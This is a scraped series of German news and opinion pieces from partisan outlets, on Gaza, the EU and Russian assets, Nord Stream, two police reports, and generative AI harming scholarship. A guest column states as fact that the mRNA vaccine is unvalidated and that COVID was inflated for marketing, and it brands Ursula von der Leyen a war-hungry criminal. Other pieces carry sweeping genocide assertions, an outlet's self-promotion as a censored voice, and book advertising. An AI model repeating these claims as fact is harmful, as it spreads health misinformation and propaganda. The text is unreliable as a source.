Der israelische Angriff habe die Mitarbeiter von Hilfsorganisationen und die Partner internationaler Organisationen im Gazastreifen in eine „praktisch unbewohnbare“ Umgebung gebracht, in der Massenvertreibungen und Entbehrungen an der Tagesordnung seien, 75 Prozent des festen Abfalls willkürlich entsorgt würden, 97 Prozent des Grundwassers für den menschlichen Gebrauch ungeeignet seien und der israelische Staat Hunger als Kriegswaffe einsetze, so Oxfam.

Oxfam stellt fest, dass es im Gazastreifen keinen sicheren Ort gebe, „da fast die gesamte Bevölkerung gewaltsam und oft mehrfach vertrieben wurde, was eine grundlegende Verteilung von Hilfsgütern unmöglich macht, einschließlich der Fähigkeit von Hilfsorganisationen, lebenswichtige öffentliche Dienstleistungen in großem Umfang wiederherzustellen“.

Oxfam beschuldigt Israel der „unverhältnismäßigen“ und „wahllosen“ Angriffe auf „zivile und humanitäre Einrichtungen“ sowie auf „Solar-, Wasser-, Strom- und Sanitäranlagen, UN-Gebäude, Krankenhäuser, Straßen, Hilfskonvois und Lagerhäuser, auch wenn diese Einrichtungen angeblich „entschärft“ werden, nachdem ihre Koordinaten zu ihrem Schutz weitergegeben wurden“.

Das Gesundheitsministerium in Gaza erklärte am Montag, seit Beginn der israelischen Angriffe vor fünf Monaten seien mindestens 31.726 Menschen getötet worden.In einer Erklärung des Ministeriums hieß es, in den vergangenen 24 Stunden seien mindestens 81 Menschen getötet und seit dem 7. Oktober 73.792 Menschen in Gaza verletzt worden.Tausende weitere werden vermisst, viele sind unter den Trümmern begraben.

Keine dieser israelischen Taktiken wird sich durch den Bau eines „provisorischen Hafens“ ändern, angesichts des bevorstehenden Bodenangriffs auf Rafah, wo 1,2 Millionen Menschen leben.Israel ist dabei, eine humanitäre Krise katastrophalen Ausmaßes heraufzubeschwören, bei der Tausende Palästinenser durch Bomben, Granaten, Raketen, Kugeln, Hunger und Infektionskrankheiten getötet werden und nur noch die Wahl zwischen Tod und Deportation haben. Der Hafen ist der Ort, an dem der letzte Akt dieses grausamen Völkermords stattfinden wird, wenn die Palästinenser von israelischen Soldaten auf Schiffe getrieben werden.

Wie passend, dass die Biden-Administration, ohne die dieser Völkermord nicht stattfinden könnte, ihn erleichtern wird.



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Weltkrieg fehlt noch auf ihrer Liste

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Sind Machtbesessenheit und unmissverständlich formulierte Kriegsgelüste ein rein patriarchalisches, also von Männern okkupiertes Phänomen? In Berlin findet sich eine Annalena – feministische Außenpolitik – Baerbock. In Brüssel eine frisch nominierte und skrupellose Ursula von der Leyen.

Von Uli Gellermann

Die Nachrichten sind voll von einem EU-Raubzug auf russisches Vermögen: Es geht um 200 Milliarden Euro, die „abgeschöpft“ werden sollen. Hinter dem neutralen Wort soll nackter Raub versteckt werden. Die EU bricht das Völkerrecht. Ideengeberin für die Plünderung war bereits im September 2022 die EU-Kommissionspräsidentin Ursula von der Leyen – in ihrem Russen-Hass ist der Frau auch gewöhnlicher Diebstahl recht.

Vom Raub zum tödlichen Geschäft

Der EU-Raub soll in ein tödliches Geschäft umgewandelt werden: Von den Zinserträgen aus dem gestohlenen Geld will die EU jetzt Waffen und Munition für die Ukraine anschaffen. Das ist eine klassische Mafia-Aktion: Mit widerrechtlich angeeignetem Geld sollen Bomben und Granaten angeschafft werden, um den nächsten Raub militärisch abzusichern. Niemand sollte sich wundern, wenn die russische „Hauptverwaltung für die Bekämpfung der organisierten Kriminalität (GUBOP)“ Verantwortliche für diese kriminelle Aktion zur Fahndung ausschreiben ließe. Frau von der Leyen gehört nicht ins EU-Parlament, sondern hinter Gitter.

Impfdeal und kriminelle Energie

Von der Leyen will Waffenbeschaffung der EU übernehmen: "Wie bei den Impfstoffen"

Die kriminelle Energie von der Leyens wurde auch bei ihrem fragwürdigen Impfdeal deutlich: Die Dame hat, an allen Gremien vorbei, beim Spritzstoffhersteller Pfizer für 35 Milliarden Euro Zeugs für den Arm bestellt. Einen Stoff, der bis heute nicht validiert ist und gegen ein saisonales und bekanntes Virus helfen sollte, das aus Marketinggründen zum Killer aufgeblasen wurde. Die gefährlichen Folgen des mRNA-Stoffs sind bekannt, werden aber bis heute nicht amtlich verfolgt.

Schlinge liegt um den Hals

Der Klage eines belgischen Lobbyisten gegen von der Leyen haben sich jetzt die EU-Staaten Polen und Ungarn angeschlossen. Sie wollen unter anderem wissen, wo der Mail-Verkehr zwischen der EU-Kommissionspräsidentin und der Firma Pfizer abgeblieben ist und wer die Stellen in den COVID-19-Verträgen geschwärzt hat. Die juristische Schlinge liegt um den Hals der Dame, es muss sich jetzt nur der politische Wille finden, um daran zu ziehen.

Mächtigste Frau der Welt

Wenn die Klage keinen Erfolg hat, müssen die Einwohner der EU davon ausgehen, dass von der Leyen weitere fünf Jahre an der Spitze der EU stehen wird: Der CDU-Bundesvorstand nominierte sie als Spitzenkandidatin für die Europawahl Anfang Juni. Und so wie Wahlen in der EU ablaufen – niedrigste Wahlbeteiligung und gelenkte Medien – scheint die Wahl von Ursula von der Leyen gesichert zu sein. Dann kann das US-Magazin Forbes sie erneut, wie im Vorjahr, zur „mächtigsten Frau der Welt“ küren.

Weltkrieg auf der Karriere-Liste

Schon lange will diese kriegsgeile Frau eine „Armee der Europäer“ installieren. Sie ist besessen genug, um diese Armee gegen Russland marschieren zu lassen. Das Kommando in einem Weltkrieg fehlt der Dame noch auf ihrer Karriere-Liste. Das würde auch die dringend notwendige Strafverfolgung der korrupten Funktionärin stoppen.

Uli Gellermann ist Filmemacher und Journalist. Seine Erfahrungen mit den öffentlich-rechtlichen Sendern begründen seine Medienkritik. Er ist Betreiber der Internetseite www.rationalgalerie.de.

Der Beitrag wurde zuerst am 21. März 2024 auf www.rationalgalerie.de veröffentlicht.

Mehr zum Thema – Bericht: EU will im Sommer Gewinne aus russischen Vermögen nach Kiew senden


RT DE bemüht sich um ein breites Meinungsspektrum. Gastbeiträge und Meinungsartikel müssen nicht die Sichtweise der Redaktion widerspiegeln.

Durch die Sperrung von RT zielt die EU darauf ab, eine kritische, nicht prowestliche Informationsquelle zum Schweigen zu bringen. Und dies nicht nur hinsichtlich des Ukraine-Kriegs. Der Zugang zu unserer Website wurde erschwert, mehrere Soziale Medien haben unsere Accounts blockiert. Es liegt nun an uns allen, ob in Deutschland und der EU auch weiterhin ein Journalismus jenseits der Mainstream-Narrative betrieben werden kann. Wenn Euch unsere Artikel gefallen, teilt sie gern überall, wo Ihr aktiv seid. Das ist möglich, denn die EU hat weder unsere Arbeit noch das Lesen und Teilen unserer Artikel verboten. Anmerkung: Allerdings hat Österreich mit der Änderung des „Audiovisuellen Mediendienst-Gesetzes“ am 13. April diesbezüglich eine Änderung eingeführt, die möglicherweise auch Privatpersonen betrifft. Deswegen bitten wir Euch bis zur Klärung des Sachverhalts, in Österreich unsere Beiträge vorerst nicht in den Sozialen Medien zu teilen.





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874 Tage ins Gefängnis Bundespolizei verhaftet Polen — Extremnews — Die etwas anderen Nachrichten

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Die Bundespolizei hat am Donnerstagnachmittag (21. März) einen polnischen Pkw-Fahrer in die Justizvollzugsanstalt München-Stadelheim eingeliefert. Dem Mann steht ein 874-tägiger Gefängnisaufenthalt bevor. Er war zuvor an der A8 am Autobahnparkplatz Seehamer See Ost festgenommen worden.

Im Rahmen einer Fahndungskontrolle überprüften die Rosenheimer Bundespolizisten die Personalien des 32-Jährigen, der in Richtung München unterwegs war. Dabei fanden die Beamten heraus, dass der Pole in der Vergangenheit mit dem Gesetz gehörig in Konflikt geraten war: Wegen gemeinschaftlichen erpresserischen Menschenraubs in Tateinheit mit besonders schwerem Raub, besonders schwerer räuberischer Erpressung und gefährlicher Körperverletzung hatte ihn das Landgericht Hildesheim im Jahr 2014 zu einer Freiheitsstrafe von fünf Jahren und drei Monaten verurteilt. Nachdem er mehr als die Hälfte der Haft „abgesessen“ hatte, konnte er den Strafvollzug vorzeitig verlassen, musste aber, so die Auflage, aus Deutschland ausreisen. Dabei war ihm deutlich gemacht worden, dass der Rest der ursprünglich festgesetzten Strafe fällig würde, wenn er in die Bundesrepublik zurückkäme.

Offenbar spielte diese Belehrung für ihn keine Rolle mehr, denn am Donnerstagnachmittag reiste er, wie nachvollzogen werden konnte, über die Inntalautobahn ein. Die Fahnder der Bundespolizei brachten ihn dem Haftbefehl der Hildesheimer Justiz entsprechend ins Gefängnis nach München-Stadelheim. Dort wird er zum Verbüßen seiner Restfreiheitsstrafe 874 Tage lang bleiben müssen.

Quelle: Bundespolizeidirektion München (ots)



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Die USA fordern Einstellung der ukrainischen Angriffe auf die russische Öl-Industrie – Anti-Spiegel

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Die USA haben Kiew aufgefordert, Objekte der russischen Öl-Industrie nicht mehr anzugreifen, weil das die Ölpreise in die Höhe treiben könnte, was Joe Biden bei den US-Wahlen schaden könnte. Mit ukrainischen Angriffen auf russische Zivilisten haben die USA hingegen kein Problem.

Die Financial Times hat berichtet, dass die US-Regierung von Kiew gefordert hat, die Angriffe auf russische Öllager und Raffinerien einzustellen. Die Zeitung beruft sich auf mehrere Quellen und schreibt unter anderem:

„Eine Person sagte, das Weiße Haus sei zunehmend frustriert über die dreisten ukrainischen Drohnenangriffe, die Ölraffinerien, Terminals, Depots und Lagereinrichtungen in ganz Westrussland getroffen und die Ölproduktionskapazität beeinträchtigt hätten.
Russland bleibt trotz der westlichen Sanktionen gegen seinen Öl- und Gassektor einer der wichtigsten Energieexporteure der Welt. Die Ölpreise sind in diesem Jahr um etwa 15 Prozent auf 85 US-Dollar pro Barrel gestiegen, was die Benzinkosten in die Höhe treibt, während US-Präsident Joe Biden seinen Wahlkampf zur Wiederwahl beginnt.“

Das zeigt ein weiteres Mal, wo die Prioritäten und Interessen der US-Regierung liegen. In Gaza führt Israel einen Vernichtungskrieg gegen die Palästinenser, die Ukraine greift verstärkt zivile Ziele in Russland an, aber die USA rufen nicht dazu auf, die Angriffe auf zivile Ziele einzustellen. Und in beiden Kriegen sind die USA konsequent gegen jede Art von Friedensgesprächen, um das Blutvergießen zu beenden.

Aber sobald es um den Ölpreis geht, den die US-Regierung niedrig halten will, weil hohe Benzinpreise Joe Biden im US-Wahlkampf schaden, fordert sie die Einstellung von ukrainischen Angriffen auf die russische Öl-Industrie.

Laut der Financial Times hat die Ukraine seit 2022 mindestens zwölf Angriffe auf große russische Raffinerien geflogen, wobei neun Angriffe in diesem Jahr stattgefunden haben. Die Ukraine könne fast alle Objekte der russischen Öl-Industrie im Westen Russlands erreichen, was 60 Prozent der russischen Exportkapazitäten gefährde, was der Biden-Regierung Sorgen macht. Die Zeitung schreibt:

„Die Einwände der USA kommen, da Biden in diesem Jahr vor einem harten Wiederwahlkampf steht, da die Benzinpreise steigen und in diesem Jahr um fast 15 Prozent auf rund 3,50 US-Dollar pro Gallone gestiegen sind.
„Nichts fürchtet ein amtierender amerikanischer Präsident mehr als den Anstieg der Benzinreise während eines Wahljahres“, sagte Bob McNally, Präsident des Beratungsunternehmens Rapidan Energy und ehemaliger Energieberater des Weißen Hauses.“

Der Tod tausender Zivilisten stört amtierende US-Präsidenten hingegen nicht, womit über die wahren „Werte“ der US-Regierung alles gesagt ist.


In meinem neuen Buch „Das Ukraine Kartell – Das Doppelspiel um einen Krieg und die Millionen-Geschäfte der Familie des US-Präsidenten Biden“ enthülle ich sachlich und neutral, basierend auf Hunderten von Quellen, bisher verschwiegene Fakten und Beweise über die millionenschweren Geschäfte der Familie des US-Präsidenten Joe Biden in der Ukraine. Angesichts der aktuellen Ereignisse stellt sich die Frage: Ist eine kleine Gruppe gieriger Geschäftemacher möglicherweise bereit, uns für ihren persönlichen Profit an den Rand eines Dritten Weltkriegs zu bringen?

Das Buch ist aktuell erschienen und ausschließlich direkt hier über den Verlag bestellbar.

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Pkw fährt in den Gegenverkehr — Extremnews — Die etwas anderen Nachrichten

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Freigeschaltet

am 22.03.2024 um 12:46

durch Sanjo Babić

Bild: Polizei

Bild: Polizei

Am Donnerstag, 21. März, kam es auf der L 820 zu einem schweren Verkehrsunfall. Ein Pkw geriet in den Gegenverkehr und kollidierte mit einem Lkw. Der Fahrer des Pkw wurde mit einem Rettungshubschrauber in eine Klinik geflogen.

Bild: Polizei

Bild: Polizei

Ein 63-Jähriger aus Willebadessen fuhr gegen 10.30 Uhr mit einem grünen Golf von Niesen kommend in Fahrtrichtung Fölsen. Aus bisher ungeklärter Ursache kam er auf die Gegenfahrbahn. Zur gleichen Zeit fuhr ein Lkw in die entgegengesetzte Richtung. Der 53-jährige Lkw-Fahrer versuchte nach links auszuweichen. Ein Zusammenstoß konnte nicht verhindert werden. Der Pkw schleuderte gegen eine Leitplanke und ging in Flammen auf. Der 63-Jährige konnte sich noch selbstständig aus dem Pkw befreien. Er erlitt lebensgefährliche Verletzungen und wurde mit einem Rettungshubschrauber in eine Klinik geflogen. Der Lkw-Fahrer wurde mit einem Rettungswagen in ein Krankenhaus gefahren. Ersthelfer und die Feuerwehr konnten den Brand am Pkw löschen. Durch den Zusammenstoß entstand ein Gesamtschaden von rund 13.000 Euro. Beide Fahrzeuge waren nicht mehr fahrbereit und wurden durch einen Abschlepper geborgen.

Die Straße war für mehrere Stunden voll gesperrt. Für die Unfallaufnahme wurde ein VU-Team hinzugezogen.

Quelle: Kreispolizeibehörde Höxter (ots)



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Freddy: Steuern zahlen? Wofür? – COMPACT

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Schlaglöcher zieren die deutschen Straßen und Diesel wird zum Luxusgut. Obwohl wir den Staat jedes Jahr mit Milliarden Steuern beglücken, wird sich daran wohl nichts ändern.

Zumindest wird sich so lange nichts ändern, wie FDP-Minister Volker Wissing im Amt bleibt. Freddy nimmt für Sie den neusten Ampel-Irrsinn auseinander.

▶️ Seine aktuelle Abrechnung mit den Ampel-Chaoten sehen Sie in dem Video oben.

Steuern sind Diebstahl! Das sagt auch Ökonom und Regimekritiker Markus Krall. In seinem neuen Buch „Die Stunde Null“ erfahren Sie, wie Deutschland nach dem Ampel-Chaos wieder auf Vordermann gebracht werden kann. Freiheit statt Öko-Sozialismus! Hier bestellen.





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USA wussten vorab von der Nord Stream-Sprengung — RT DE

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In einem am Freitag veröffentlichten Interview mit der Tageszeitung Rzeczpospolita hat der polnische Außenminister Radosław Sikorski behauptet, die USA hätten 2022 vorab von der bevorstehenden Sprengung der deutsch-russische Gaspipeline Nord Stream in der Ostsee gewusst und bewusst nichts dagegen unternommen. 

Wörtlich sagte Sikorski: 

„Wenn man der Presse Glauben schenken darf, wurde dies von denjenigen getan, die ein Interesse daran hatten. Und die US-Seite wusste im Voraus davon und hat es nicht verhindert. Es scheint also, als gäbe es viel, wofür man dankbar sein kann… Und meine persönliche Einstellung zu Nord Stream ist seit vielen Jahren bekannt.“

Auf die nochmalige Nachfrage des Reporters, ob die Ukraine hinter dem Sabotageakt stecke, sagte der Minister: 

„Ich glaube, dass derjenige, der ein Interesse daran hatte, dies getan hat.“

Bereits 2006 hatte Sikorski den Bau von Nord Stream 1 den „neuen Molotow-Ribbentrop-Pakt“ genannt. Am Tag der Sprengung der Gaspipeline postete er auf Twitter eine Aufnahme des aus dem Meereswasser über der gesprengten Stelle austretenden Gases und bedankte sich ausdrücklich bei den USA.

In dem Interview kündigt der polnische Außenminister darüber hinaus 50 Milliarden zusätzlicher makroökonomischer Hilfe für die Ukraine an, die nach seinen Worten in der EU bereits vereinbart seien und verweist auf die Ergebnisse des Gipfeltreffens des sogenannten „Weimarer Dreiecks“ am vergangenen Freitag in Berlin, bei dem sich Deutschland, Frankreich und Polen auf weitere 5 Milliarden Euro militärischer Unterstützung für die Ukraine geeinigt habe. 

Mehr Informationen in Kürze … 

Durch die Sperrung von RT zielt die EU darauf ab, eine kritische, nicht prowestliche Informationsquelle zum Schweigen zu bringen. Und dies nicht nur hinsichtlich des Ukraine-Kriegs. Der Zugang zu unserer Website wurde erschwert, mehrere Soziale Medien haben unsere Accounts blockiert. Es liegt nun an uns allen, ob in Deutschland und der EU auch weiterhin ein Journalismus jenseits der Mainstream-Narrative betrieben werden kann. Wenn Euch unsere Artikel gefallen, teilt sie gern überall, wo Ihr aktiv seid. Das ist möglich, denn die EU hat weder unsere Arbeit noch das Lesen und Teilen unserer Artikel verboten. Anmerkung: Allerdings hat Österreich mit der Änderung des „Audiovisuellen Mediendienst-Gesetzes“ am 13. April diesbezüglich eine Änderung eingeführt, die möglicherweise auch Privatpersonen betrifft. Deswegen bitten wir Euch bis zur Klärung des Sachverhalts, in Österreich unsere Beiträge vorerst nicht in den Sozialen Medien zu teilen.





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Wie generative KI die Wissenschaft und akademische Forschung ruinieren wird – uncut-news.ch

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Johan Eddebo

Über die fortgeschrittene Digitalisierung und die Erosion des Wissens.

Hintergrund: Die Epistemologie der modernen Massenmedien

Ich greife oft auf Neil Postmans Klassiker „Amusing Ourselves to Death“ [„Wir amüsieren uns zu Tode“, Anm. d. Übersetzers] von 1985 zurück. Es ist eine tiefgreifende Analyse der kognitiven Auswirkungen der Medientechnologie. Er konzentriert sich hauptsächlich darauf, wie das Format und die Art der Kommunikation den Charakter des Inhalts beeinflussen und wie dieser Inhalt uns dann trainiert, aber in geringerem Maße auch darauf, wie der Diskurs und die „Atmosphäre“ des Informationsaustauschs diese Fragen beeinflussen.

Das ist fast vierzig Jahre her, und das untersuchte disruptive Medium ist das Fernsehen. Der gesamte Ansatz erscheint fast altmodisch, denn die 80er Jahre sind im Vergleich zur heutigen Zeit ein goldenes Zeitalter des kritischen Denkens, der komplexen Darstellung und der bewussten, kreativen Bürger.

Doch die Probleme, die Postman hervorhebt, waren schon damals von Bedeutung. Man kann seine Kritik damit zusammenfassen, dass das Format des Fernsehens komplexe, nachteilige Auswirkungen auf den Inhalt und den Charakter des öffentlichen Diskurses sowie auf die kognitiven Fähigkeiten der Menschen hat, insbesondere im Hinblick auf das Verständnis komplexer Sachverhalte und die Analyse von Argumenten und Beweisen mit vielen Ebenen und verzweigten Implikationen.

Postman ist der Ansicht, dass sowohl schriftliche Darstellungen als auch komplexe mündliche Überlieferungen den menschlichen Verstand auf die Anforderungen des kritischen Denkens und der rationalen Reflexion vorbereiten und fördern. Im Gegensatz dazu haben Unterhaltungsmedien und -diskurse, wie sie insbesondere das Fernsehen verkörpert, die auf kurzfristige Befriedigung und die Vermittlung sensationeller Erfahrungen ausgerichtet sind, eher den gegenteiligen Effekt.

Seine Beispiele sind wirklich krass, sogar damals schon:

Der Widerspruch erfordert also, dass Aussagen und Ereignisse als zusammenhängende Aspekte eines kontinuierlichen und kohärenten Kontextes wahrgenommen werden. Fällt der Kontext weg oder wird er fragmentiert, verschwindet auch der Widerspruch. Dieser Punkt wird mir nirgendwo deutlicher als in Gesprächen mit meinen jüngeren Schülern über ihre Texte. „Sehen Sie hier“, sage ich. „In diesem Absatz hast du eine Sache gesagt. Und in diesem hast du das Gegenteil gesagt. Was soll es denn sein?“ Sie sind höflich und wollen gefallen, aber sie sind von der Frage genauso verblüfft wie ich von der Antwort. „Ich weiß“, werden sie sagen, „aber das ist dort und das ist hier“. Der Unterschied zwischen uns besteht darin, dass ich davon ausgehe, dass „dort“ und „hier“, „jetzt“ und „dann“, ein Absatz und der nächste zusammenhängen, dass sie kontinuierlich sind, dass sie Teil derselben kohärenten Gedankenwelt sind. Das ist die Art des typografischen Diskurses, und die Typografie ist das Universum, aus dem ich „komme“, wie man sagt. Aber sie kommen aus einer ganz anderen Welt des Diskurses: der „Jetzt … das“-Welt des Fernsehens. Die Grundannahme dieser Welt ist nicht Kohärenz, sondern Diskontinuität. Und in einer Welt der Diskontinuitäten ist der Widerspruch als Test für Wahrheit oder Wert nutzlos, weil es keinen Widerspruch gibt. Ich will damit sagen, dass wir uns inzwischen so sehr an die „Jetzt … dies“-Welt der Nachrichten gewöhnt haben – eine Welt der Fragmente, in der Ereignisse für sich allein stehen, losgelöst von jeglicher Verbindung zur Vergangenheit, zur Zukunft oder zu anderen Ereignissen -, dass alle Annahmen über Kohärenz verschwunden sind. Und damit zwangsläufig auch der Widerspruch. Im Kontext ohne Kontext, sozusagen, verschwindet er einfach. Welches Interesse könnte eine Auflistung dessen haben, was der Präsident heute sagt und was er damals gesagt hat, wenn es keinen Zusammenhang gibt? Es ist lediglich ein Aufguss alter Nachrichten, und das ist weder interessant noch unterhaltsam.

Das ist für die meisten von uns keine ungewohnte Situation. Eine ähnliche Erfahrung habe ich heute Morgen in einer versuchten Diskussion mit jemandem gemacht, der unglaublicherweise vier (!) verschiedene, miteinander unvereinbare Dinge im Rahmen von ein paar kurzen Absätzen behauptet hat, und er hat natürlich immer noch darauf bestanden, dass ich falsch liege. Sein Standpunkt umfasste die folgenden Thesen:

  • Überzeugungen sind absurd
  • Überzeugungen sollten nur aufgrund von akzeptablen Beweisen vertreten werden
  • Man kann an Überzeugungen festhalten, aus welchen Gründen man will
  • Überzeugungen sind per Definition in Emotionen und nicht in akzeptablen Beweisen verankert

Alle diese Aussagen sind buchstäblich unvereinbar mit jeder einzelnen anderen Aussage.

Es ist wie eine verschlungene Version des „Paradoxons des Lügners“. Wenn ich mit ihm übereinstimme, liege ich zwangsläufig falsch, und wenn ich ihm nicht zustimme, liege ich auch falsch. Aber im Gegensatz zu dem alten Gedankenexperiment, bei dem mein Fehler in der direkten Bejahung des Gegenteils einer Aussage liegt, gibt es hier buchstäblich keinen Weg, wie ich mich irren könnte, wenn ich entweder mit seiner Position übereinstimme oder sie ablehne, da sie in einem komplexen und nicht nur binären Sinne in sich inkohärent ist.

Man ist fast beeindruckt von der Intensität dieses diskursiven Mülleimers.

Wie die meisten von uns erkennen werden, spiegelt dieser Austausch zumindest bis zu einem gewissen Grad den epistemischen Charakter des zeitgenössischen öffentlichen Diskurses in der digitalen Sphäre wider. Die Kommunikation ist oft vereinfacht und unzusammenhängend, und wenn sie sich einem gewissen Grad an Komplexität nähert, führt sie fast sofort zu Widersprüchen, Irrelevanz oder tatsächlichem Unsinn wie oben.

Was bedeutet dies für das Wissen im Allgemeinen und insbesondere für die Qualität, den Erhalt und die Reproduktion des komplexen Wissens der menschlichen Kulturen, das in Traditionen wie der Wissenschaft oder den Geisteswissenschaften enthalten ist?

Zunächst einmal denke ich, dass eine Situation wie die unsere den Pool der verfügbaren Kandidaten für die schwierige und oft mühsame Arbeit der effektiven Verwaltung solcher Wissenstraditionen erheblich schrumpfen lässt, und zwar sowohl für sie selbst als auch für die Institutionen oder Organisationen, die zur Aufrechterhaltung der Traditionen erforderlich sind.

Es wird nicht viele Menschen geben, die in der Lage sind, einen „Faust“ oder „Common Sense“ dzu schreiben oder ein Kunstwerk zu schaffen, das die Fülle des Geistes, des Charakters und der Probleme der jeweiligen Zeit widerspiegelt. Und Sie werden nicht viele Menschen finden, die in der Lage wären, es zu verstehen, selbst wenn etwas in dieser Art produziert werden könnte.

Das Problem besteht darin, dass unser inkohärentes Zeitalter und seine Medientechnologien die Menschen nicht mit der Fähigkeit ausstatten, grundlegende abstrakte Prinzipien vollständig zu verstehen und den Kern von Erfahrungen und Erkenntnissen in einen anderen Kontext zu übertragen. Wir werden im Grunde nicht richtig mit den universellen Abstraktionen und Konzepten des gesunden Menschenverstands vertraut gemacht, die einen komplexen Diskurs und kritisches Denken möglich machen. Ohne diese Vertrautheit sind wir weniger in der Lage, neue und chaotische Situationen zu verstehen und die Verbindungen und Ähnlichkeiten zwischen verschiedenen Erfahrungen und Wissensformen zu erkennen. Die Vernunft als solche wird ausgehöhlt, wie Aquin es wahrscheinlich ausgedrückt hätte.

Das Wissen, das wir erhalten, ist spezialisiert, kommerzialisiert und instrumentalisiert, und obwohl es recht umfangreich sein kann, hat es einen insularen Charakter und ermöglicht kein kritisches Denken im abstrakten und allumfassenden Sinne. Es ist in etwa so, wie wenn jemand durch Auswendiglernen lernen könnte, einen Taschenrechner zuverlässig zu benutzen, ohne mehr als ein rudimentäres Verständnis von Mathematik zu haben. Er kann das Gerät bedienen, aber er ist kein souveräner Meister der betreffenden Disziplin(en). Er könnte niemals eine Rechenmaschine entwerfen und bauen.

„Der Mensch ist das Maß aller Dinge“, hat Platons Protagoras einmal gesagt, und damit meinte er wahrscheinlich nicht den Relativismus, sondern vielmehr die Tatsache, dass der Mensch in der Lage ist (oder sein sollte), alle Situationen und Zustände in der Welt vernünftig zu beurteilen.

Die verstärkenden Auswirkungen der heutigen KI

Es gäbe also noch eine ganze Menge über den Charakter und die Probleme des Wissens vor dem Hintergrund des Diskurses, der Medientechnologie und der kognitiven Anpassungen, in denen wir uns befinden, zu sagen, aber konzentrieren wir uns hier speziell auf die Beiträge der KI.

Die zeitgenössische KI ist eine Reihe von Mustererkennungssystemen, die zur Überwachung und Disziplinierung, zur Kontrolle des Informationsflusses und zur Massenproduktion von Warenersatz für kulturelle Inhalte in einem neoliberalen Rahmen entwickelt wurden.

Der Schaden, den solche Systeme anrichten können, wenn sie in die Wissensproduktion der Gesellschaft integriert werden, kann gar nicht hoch genug eingeschätzt werden. Nicht nur, dass sie die Probleme des Hintergrunds, den ich oben zu skizzieren versucht habe, massiv verschärfen, nämlich die einer sensationslüsternen digitalen Medienlandschaft, die fast gänzlich ohne Exposition auskommt und auf leicht befriedigende Unterhaltung ausgerichtet ist.

Der grundlegende Zweck des selbstlernenden, informationsbeschaffenden Algorithmus bestand immer darin, die Distanz zwischen dem Produkt und dem Verbraucher durch die Verstärkung erwünschter Verhaltensmuster zu minimieren. Mit anderen Worten, die Algorithmen werden in erster Linie dazu tendieren, Verhaltensweisen zu verstärken, die die Mehrwertgewinnung des Kapitals aus dem Arbeiter-Konsumenten effektiv unterstützen.

Dies ist ein Punkt, den man viele Male wiederholen könnte. Google ist keine Bibliothek. Es ist ein privates Unternehmen mit einem System, das darauf ausgerichtet ist, Informationen gewinnbringend zu vermarkten, und es hat weder eine Verpflichtung noch einen wirklichen Anreiz, Daten zu führen, die Ihnen wichtig sind oder die Sie wirklich brauchen.

Hinzu kommt, dass dieses und ähnliche Unternehmen in einem ständigen Verdrängungswettbewerb um die Vorherrschaft innerhalb einer fast vollständig zentralisierten Informationsarchitektur stehen, die fast jeden Menschen auf dem Planeten unmittelbar miteinander verbindet. Es ist wie bei den großen weißen Haien, die nicht aufhören können, sich zu bewegen, ohne zu ersticken.

Wir haben also ein perfektes System für die schnelle Entwicklung dieser Systeme zur Kommerzialisierung von Informationen mit dem Ziel des maximalen Profits entwickelt, das zudem mit einer zentralisierten Kommunikationsarchitektur zusammenfällt, die es ermöglicht, dass eine einzige Änderung eines Google-Algorithmus sich gleichzeitig auf fast jeden Menschen auf der Welt auswirkt.

Postmans Bedenken gegenüber dem Fernsehen erscheinen in der Tat altmodisch.

Daraus folgt, dass alle anderen Qualitäten des Informationsoutputs dieser Systeme außer denjenigen, die das profitable Verhalten des Verbrauchers kurzfristig verstärken (vgl. die Werbeindustrie), irrelevant werden. Sie sind bestenfalls sekundäre Prioritäten und werden, sofern sie mit der Profitrichtlinie kollidieren, aktiv unterdrückt. Darüber hinaus werden diese Prioritäten unmittelbare globale Auswirkungen haben.

Und diese digitalen Systeme zur Kommerzialisierung von Informationen in einem kapitalistischen Rahmen können nicht anders, sonst werden sie ersticken.

Wenn wir die KI zu der oben genannten Mischung hinzufügen, insbesondere die „generative“ Art, werden diese problematischen Prozesse einfach noch verschärft. KI in ihrer jetzigen Form wirkt wie ein Multiplikator für die Kommodifizierung von Informationen innerhalb der etablierten Wirtschaftsordnung und ihrer digitalen Tauschstrukturen. Selbstlernende Algorithmen rationalisieren den Informationsfluss und ermöglichen gezielte Werbung, Propaganda und narrative Kontrolle auf individueller Ebene mit unglaublicher Geschwindigkeit und Spezifität. Generative KI ermöglicht darüber hinaus die automatisierte Produktion von Informationsgütern, die unweigerlich auf die Ziele der Überwachung, des Marketings und der Verhaltensänderung zugeschnitten sind.

Oder die Haie werden ersticken.

Wir könnten uns also die Frage stellen, ob die Förderung von gut ausgebildeten, unabhängigen Denkern, die geistig reif sind, ihre eigenen Bedürfnisse befriedigen können und über einen inneren Kontrollmechanismus verfügen, die kurzfristigen Gewinnanreize des Kapitals unterstützt oder nicht.

Die Antwort auf diese Frage bestimmt die Tendenz der proprietären Algorithmen, die jetzt entwickelt werden, um eine umfassende Informationsdominanz zu erreichen.

Wissenschaft und akademische Forschung

Was hat das mit der Zukunft der Wissenschaft zu tun?

Nun, die Auswirkungen sind atemberaubend, und zwar anscheinend in allen Bereichen. Zum einen wird die Massenausbildung von eng spezialisierten Verbrauchern, die mit universellen Konzepten und Abstraktionen nicht vertraut und für kritisches Denken schlecht gerüstet sind, keine effektiven Verwalter und Erneuerer komplexer Wissenstraditionen hervorbringen, egal ob es sich um Teilchenphysik oder Volksmedizin handelt. Ohne die universellen Konzepte, ohne die Vertrautheit mit der Logik, mit den Prinzipien von Ursache und Wirkung, mit dem, was unabhängig von einem bestimmten Kontext einen vernünftigen Beweis darstellt, werden die Menschen immer weniger in der Lage sein, die Verbindungen zwischen verschiedenen Disziplinen zu erkennen und ihr eigenes kohärentes Weltbild zu verinnerlichen, das notwendig ist, um sich unabhängig zurechtzufinden. Die Menschen werden immer weniger in der Lage sein, sich in ungewohnten Situationen neues Wissen anzueignen und ihre konzeptionellen Schemata und Erfahrungen an unvorhergesehene Umstände anzupassen, und sie werden weniger selbständig sein. So wie der Taschenrechnerbediener aus obigem Beispiel, der die Bedienung auswendig lernte, nicht in der Lage sein wird, mit Stift und Papier zu rechnen, wenn die Maschine ausfällt.

Zur Schule zu gehen bedeutete, lesen zu lernen, denn ohne diese Fähigkeit konnte man nicht an den Unterhaltungen der Kultur teilnehmen. Aber die meisten Menschen konnten lesen und nahmen daran teil. Für diese Menschen war das Lesen sowohl ihre Verbindung zur Welt als auch ihr Modell der Welt. Die gedruckte Seite enthüllte die Welt, Zeile für Zeile, Seite für Seite, als einen ernsthaften, kohärenten Ort, der durch Vernunft gesteuert und durch logische und relevante Kritik verbessert werden kann. – Neil Postman

